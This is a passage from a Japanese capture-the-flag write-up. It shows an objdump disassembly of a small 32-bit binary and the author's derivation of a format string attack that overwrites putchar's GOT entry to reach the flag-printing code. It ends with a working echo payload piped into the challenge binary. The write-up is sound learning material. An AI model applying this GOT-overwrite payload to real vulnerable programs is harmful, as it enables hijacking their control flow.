 80486d7:	b8 00 00 00 00       	mov    $0x0,%eax
 80486dc:	c9                   	leave  
 80486dd:	c3                   	ret    
 80486de:	90                   	nop
 80486df:	90                   	nop

080486e0 <__libc_csu_fini>:
 80486e0:	55                   	push   %ebp
 80486e1:	89 e5                	mov    %esp,%ebp
 80486e3:	5d                   	pop    %ebp
 80486e4:	c3                   	ret    
 80486e5:	66 66 2e 0f 1f 84 00 	data32 nopw %cs:0x0(%eax,%eax,1)
 80486ec:	00 00 00 00 

080486f0 <__libc_csu_init>:
 80486f0:	55                   	push   %ebp
 80486f1:	89 e5                	mov    %esp,%ebp
 80486f3:	57                   	push   %edi
 80486f4:	56                   	push   %esi
 80486f5:	53                   	push   %ebx
 80486f6:	e8 4f 00 00 00       	call   804874a <__i686.get_pc_thunk.bx>
 80486fb:	81 c3 d5 12 00 00    	add    $0x12d5,%ebx
 8048701:	83 ec 1c             	sub    $0x1c,%esp
 8048704:	e8 1b fd ff ff       	call   8048424 <_init>
 8048709:	8d bb 08 ff ff ff    	lea    -0xf8(%ebx),%edi
 804870f:	8d 83 08 ff ff ff    	lea    -0xf8(%ebx),%eax
 8048715:	29 c7                	sub    %eax,%edi
 8048717:	c1 ff 02             	sar    $0x2,%edi
 804871a:	85 ff                	test   %edi,%edi
 804871c:	74 24                	je     8048742 <__libc_csu_init+0x52>
 804871e:	31 f6                	xor    %esi,%esi
 8048720:	8b 45 10             	mov    0x10(%ebp),%eax
 8048723:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048727:	8b 45 0c             	mov    0xc(%ebp),%eax
 804872a:	89 44 24 04          	mov    %eax,0x4(%esp)
 804872e:	8b 45 08             	mov    0x8(%ebp),%eax
 8048731:	89 04 24             	mov    %eax,(%esp)
 8048734:	ff 94 b3 08 ff ff ff 	call   *-0xf8(%ebx,%esi,4)
 804873b:	83 c6 01             	add    $0x1,%esi
 804873e:	39 fe                	cmp    %edi,%esi
 8048740:	72 de                	jb     8048720 <__libc_csu_init+0x30>
 8048742:	83 c4 1c             	add    $0x1c,%esp
 8048745:	5b                   	pop    %ebx
 8048746:	5e                   	pop    %esi
 8048747:	5f                   	pop    %edi
 8048748:	5d                   	pop    %ebp
 8048749:	c3                   	ret    

0804874a <__i686.get_pc_thunk.bx>:
 804874a:	8b 1c 24             	mov    (%esp),%ebx
 804874d:	c3                   	ret    
 804874e:	90                   	nop
 804874f:	90                   	nop

08048750 <__do_global_ctors_aux>:
 8048750:	55                   	push   %ebp
 8048751:	89 e5                	mov    %esp,%ebp
 8048753:	53                   	push   %ebx
 8048754:	8d 64 24 fc          	lea    -0x4(%esp),%esp
 8048758:	a1 d8 98 04 08       	mov    0x80498d8,%eax
 804875d:	83 f8 ff             	cmp    $0xffffffff,%eax
 8048760:	74 12                	je     8048774 <__do_global_ctors_aux+0x24>
 8048762:	bb d8 98 04 08       	mov    $0x80498d8,%ebx
 8048767:	90                   	nop
 8048768:	8d 5b fc             	lea    -0x4(%ebx),%ebx
 804876b:	ff d0                	call   *%eax
 804876d:	8b 03                	mov    (%ebx),%eax
 804876f:	83 f8 ff             	cmp    $0xffffffff,%eax
 8048772:	75 f4                	jne    8048768 <__do_global_ctors_aux+0x18>
 8048774:	8d 64 24 04          	lea    0x4(%esp),%esp
 8048778:	5b                   	pop    %ebx
 8048779:	5d                   	pop    %ebp
 804877a:	c3                   	ret    
 804877b:	90                   	nop

Disassembly of section .fini:

0804877c <_fini>:
 804877c:	55                   	push   %ebp
 804877d:	89 e5                	mov    %esp,%ebp
 804877f:	53                   	push   %ebx
 8048780:	83 ec 04             	sub    $0x4,%esp
 8048783:	e8 00 00 00 00       	call   8048788 <_fini+0xc>
 8048788:	5b                   	pop    %ebx
 8048789:	81 c3 48 12 00 00    	add    $0x1248,%ebx
 804878f:	e8 9c fd ff ff       	call   8048530 <__do_global_dtors_aux>
 8048794:	59                   	pop    %ecx
 8048795:	5b                   	pop    %ebx
 8048796:	c9                   	leave  
 8048797:	c3                   	ret 

この結果から

①
08048474 <putchar@plt>:
 8048474:	ff 25 e0 99 04 08    	jmp    *0x80499e0
 804847a:	68 08 00 00 00       	push   $0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <_init+0x30>

で書き換えた値の表示を表示、そしてそれを呼び出しているのが

②
8048608:	e8 67 fe ff ff       	call   8048474 <putchar@plt>

っぽいということがわかります。

で、

③
 8048691:	c7 44 24 04 e6 87 04 	movl   $0x80487e6,0x4(%esp)

からファイルの中身を表示してるようなので、
②から③を呼べれば多分flagが出てきます。

今、
・0x80499e0→0x8048691の値の変更
・オフセットが6
という情報を手に入れているので、

0x8691 - 8 = 34441
0x10804 - 0x8691 = 33139

から、

$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

で無事flagゲット!


ものすごく骨が折れる難問でした。
アセンブルやメモリ操作に関してはズブの素人なので、ネット上のありがたい情報に助けられ、なんとか解き進めることができました。

要精進。


使ったものなど

・書式文字列攻撃
書式文字列攻撃 - Wikipedia